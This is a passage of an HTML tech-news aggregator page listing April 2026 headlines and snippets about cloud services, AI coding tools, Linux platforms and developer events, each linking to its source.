<h3 id="h3-amazon-ec2-high-memory-u7i-instances-now-available-in-aws-asia-pacific-singapore-region" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ec2-high-memory-u7i-instances-now-available-in-aws-asia-pacific-singapore-region" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon EC2 High Memory U7i instances now available in AWS Asia Pacific (Singapore) region
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ec2-high-memory-u7i-instances-now-available-in-aws-asia-pacific-singapore-region"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon EC2 High Memory U7i-8TB instances (u7i-8tb.112xlarge) and U7i-12TB instances (u7i-12tb.224xlarge) are now available in AWS Asia Pacific (Singapore) region. U7i instances are part of AWS 7th gen</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/ec2-high-memory-u7i-asia-pacific/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-inference-cloud-memory-layer-a-technical-dive-into-digitalocean-managed-databases" class="group relative scroll-mt-24">
        <a href="#h3-the-inference-cloud-memory-layer-a-technical-dive-into-digitalocean-managed-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Inference Cloud Memory Layer: A Technical Dive into DigitalOcean Managed Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-inference-cloud-memory-layer-a-technical-dive-into-digitalocean-managed-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As AI moves from experimental chat interfaces to production-grade agents, the need for a foundational memory layer to transform these AI-powered tasks into stateful models is apparent. The absence of </p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/memory-layer-of-the-inference-cloud"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-new-migration-readiness-assessment-in-your-journey-to-suse-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-the-new-migration-readiness-assessment-in-your-journey-to-suse-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The New Migration Readiness Assessment in Your Journey to SUSE Virtualization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-new-migration-readiness-assessment-in-your-journey-to-suse-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The SUSE Virtualization: Migration Readiness Assessment is a Predefined Consulting Service designed to assist with the transition from VMware environments to a unified, hyperconverged SUSE Virtualizat</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/the-new-migration-readiness-assessment-in-your-journey-to-suse-virtualization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-leapwork-adds-agentic-ai-capabilities-to-deterministic-test-automation-platform" class="group relative scroll-mt-24">
        <a href="#h3-leapwork-adds-agentic-ai-capabilities-to-deterministic-test-automation-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Leapwork Adds Agentic AI Capabilities to Deterministic Test Automation Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-leapwork-adds-agentic-ai-capabilities-to-deterministic-test-automation-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Leapwork this week revealed it is infusing agentic artificial intelligence (AI) capabilities into its test automation platforms to enable continuous validation across application testing workflows. Co</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/leapwork-adds-agentic-ai-capabilities-to-deterministic-test-automation-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-evolving-media-cdn-for-the-worlds-most-demanding-broadcast-and-streaming-workloads" class="group relative scroll-mt-24">
        <a href="#h3-evolving-media-cdn-for-the-worlds-most-demanding-broadcast-and-streaming-workloads" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Evolving Media CDN for the world’s most demanding broadcast and streaming workloads
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-evolving-media-cdn-for-the-worlds-most-demanding-broadcast-and-streaming-workloads"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editor’s note: In this post, we share joint insights from Raj Gulani, Director of Product Management for Network Experiences, and Dan Rayburn, Industry analyst with 30-plus years of experience coverin</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/networking/media-cdn-and-trends-in-content-delivery/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-deadline-cloud-announces-ai-powered-troubleshooting-assistant-for-render-jobs" class="group relative scroll-mt-24">
        <a href="#h3-aws-deadline-cloud-announces-ai-powered-troubleshooting-assistant-for-render-jobs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Deadline Cloud announces AI-powered troubleshooting assistant for render jobs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-deadline-cloud-announces-ai-powered-troubleshooting-assistant-for-render-jobs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, AWS Deadline Cloud announces an AI-powered troubleshooting assistant that helps you quickly diagnose and resolve render job failures. AWS Deadline Cloud is a fully managed service that simplifi</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/deadline-cloud-ai-troubleshooting/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-bringing-more-transparency-to-githubs-status-page" class="group relative scroll-mt-24">
        <a href="#h3-bringing-more-transparency-to-githubs-status-page" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Bringing more transparency to GitHub’s status page
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-bringing-more-transparency-to-githubs-status-page"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Changes to the status page will provide more specific data, so you&#39;ll have better insight into the overall health of the platform. The post Bringing more transparency to GitHub’s status page appeared </p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/bringing-more-transparency-to-githubs-status-page/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-openai-expands-codex-to-challenge-claude-code" class="group relative scroll-mt-24">
        <a href="#h3-openai-expands-codex-to-challenge-claude-code" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenAI Expands Codex to Challenge Claude Code
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-openai-expands-codex-to-challenge-claude-code"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The battle between the two leading AI developers seems to never stop. The newest chapter: OpenAI has released a major update to its Codex platform, repositioning the tool from a coding assistant into </p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/openai-expands-codex-to-challenge-claude-code/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-claude-code-routines-anthropics-answer-to-unattended-dev-automation" class="group relative scroll-mt-24">
        <a href="#h3-claude-code-routines-anthropics-answer-to-unattended-dev-automation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Claude Code Routines: Anthropic’s Answer to Unattended Dev Automation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-claude-code-routines-anthropics-answer-to-unattended-dev-automation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic&#39;s Claude Code Routines let dev teams automate scheduled tasks, GitHub events, and API-triggered workflows from managed cloud infrastructure.</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/claude-code-routines-anthropics-answer-to-unattended-dev-automation/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1117" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1117" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.117
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1117"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.117 (Insiders) Read the full article</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_117"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-hybrid-search-and-reranking-a-deeper-look-at-rag" class="group relative scroll-mt-24">
        <a href="#h3-hybrid-search-and-reranking-a-deeper-look-at-rag" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Hybrid search and reranking: a deeper look at RAG
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-hybrid-search-and-reranking-a-deeper-look-at-rag"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Many of us are familiar with the retrieval augmented generative AI (RAG) pattern for building agentic AI applications – like digital concierges, frontline support chatbots and agents that can help wit</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/hybrid-search-and-reranking-a-deeper-look-at-rag"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-canonical-expands-ubuntu-support-to-next-generation-mediatek-genio-520-and-720-platforms" class="group relative scroll-mt-24">
        <a href="#h3-canonical-expands-ubuntu-support-to-next-generation-mediatek-genio-520-and-720-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Canonical expands Ubuntu support to next-generation MediaTek Genio 520 and 720 platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-canonical-expands-ubuntu-support-to-next-generation-mediatek-genio-520-and-720-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Canonical is pleased to announce the early access launch of Ubuntu 24.04 LTS for MediaTek’s Genio IoT platforms. Building on the companies’ strategic partnership, this release introduces optimized Ubu</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/canonical-expands-ubuntu-support-to-next-generation-mediatek-genio-520-and-720-platforms"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-power-shift-why-the-future-of-the-electric-grid-will-be-software-defined" class="group relative scroll-mt-24">
        <a href="#h3-the-power-shift-why-the-future-of-the-electric-grid-will-be-software-defined" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The power shift: Why the future of the electric grid will be software-defined
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-power-shift-why-the-future-of-the-electric-grid-will-be-software-defined"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Continue the grid modernization conversation at Red Hat Summit OT automation, industrial safety, predictive MLOps and more… The electric grid is no longer just a feat of physics and copper; it’s becom</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/power-shift-why-future-electric-grid-will-be-software-defined"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-proving-open-source-is-ready-for-the-industrial-edge" class="group relative scroll-mt-24">
        <a href="#h3-proving-open-source-is-ready-for-the-industrial-edge" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Proving open source is ready for the industrial edge
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-proving-open-source-is-ready-for-the-industrial-edge"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For years, the industrial sector has operated under the assumption that the core of a factory, the real-time control system, must remain a locked, proprietary environment. We&#39;ve often accepted these r</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/proving-open-source-ready-industrial-edge"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-smartbears-swagger-update-targets-the-api-drift-problem-ai-coding-tools-created" class="group relative scroll-mt-24">
        <a href="#h3-smartbears-swagger-update-targets-the-api-drift-problem-ai-coding-tools-created" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SmartBear’s Swagger update targets the API drift problem AI coding tools created
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-smartbears-swagger-update-targets-the-api-drift-problem-ai-coding-tools-created"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Last week, SmartBear announced new capabilities for its commercial Swagger toolset designed to help organizations govern, validate, and scale APIs The post SmartBear’s Swagger update targets the API d</p>
<p><strong>📅 Apr 19, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/smartbear-swagger-ai-api-management/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-anthropic-openai-google-and-microsoft-agree-that-the-harness-is-the-product-they-disagree-on-the-price" class="group relative scroll-mt-24">
        <a href="#h3-anthropic-openai-google-and-microsoft-agree-that-the-harness-is-the-product-they-disagree-on-the-price" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Anthropic, OpenAI, Google, and Microsoft agree that the harness is the product. They disagree on the price.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-anthropic-openai-google-and-microsoft-agree-that-the-harness-is-the-product-they-disagree-on-the-price"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On March 30, Sycamore announced a $65 million seed round to build what its founder calls an operating system for The post Anthropic, OpenAI, Google, and Microsoft agree that the harness is the product</p>
<p><strong>📅 Apr 18, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-agent-harness-pricing-split/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-google-and-openai-are-making-a-run-at-claudes-desktop-moat-and-anthropic-is-making-it-easy" class="group relative scroll-mt-24">
        <a href="#h3-google-and-openai-are-making-a-run-at-claudes-desktop-moat-and-anthropic-is-making-it-easy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Google and OpenAI are making a run at Claude’s desktop moat, and Anthropic is making it easy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-google-and-openai-are-making-a-run-at-claudes-desktop-moat-and-anthropic-is-making-it-easy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I’m Matt Burns, Chief Content Officer at Insight Media Group. Each week, I round up the most important AI developments, The post Google and OpenAI are making a run at Claude’s desktop moat, and Anthro</p>
<p><strong>📅 Apr 18, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/google-and-openai-are-making-a-run-at-claudes-desktop-moat-and-anthropic-is-making-it-easy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-prepare-your-company-for-the-era-of-agentic-itops" class="group relative scroll-mt-24">
        <a href="#h3-how-to-prepare-your-company-for-the-era-of-agentic-itops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to prepare your company for the era of agentic ITops
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-prepare-your-company-for-the-era-of-agentic-itops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Rules-based IT operations cost businesses hundreds of billions of dollars every year. If your company depends on human labor to The post How to prepare your company for the era of agentic ITops appear</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/how-to-prepare-your-company-for-the-era-of-agentic-itops/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agentic-ai-foundation-announces-global-2026-events-program-anchored-by-agntcon-mcpcon-north-america-and-europe" class="group relative scroll-mt-24">
        <a href="#h3-agentic-ai-foundation-announces-global-2026-events-program-anchored-by-agntcon-mcpcon-north-america-and-europe" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agentic AI Foundation Announces Global 2026 Events Program Anchored by AGNTCon + MCPCon North America and Europe
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agentic-ai-foundation-announces-global-2026-events-program-anchored-by-agntcon-mcpcon-north-america-and-europe"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Expanded global schedule brings agentic AI ecosystem together across ten cities, with flagship AGNTCon + MCPCon events and…</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 KubeCon Updates</strong></p>
<p><a href="https://events.linuxfoundation.org/2026/04/17/agentic-ai-foundation-announces-global-2026-events-program-anchored-by-agntcon-mcpcon-north-america-and-europe/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-road-to-responsive-intellij-based-ides" class="group relative scroll-mt-24">
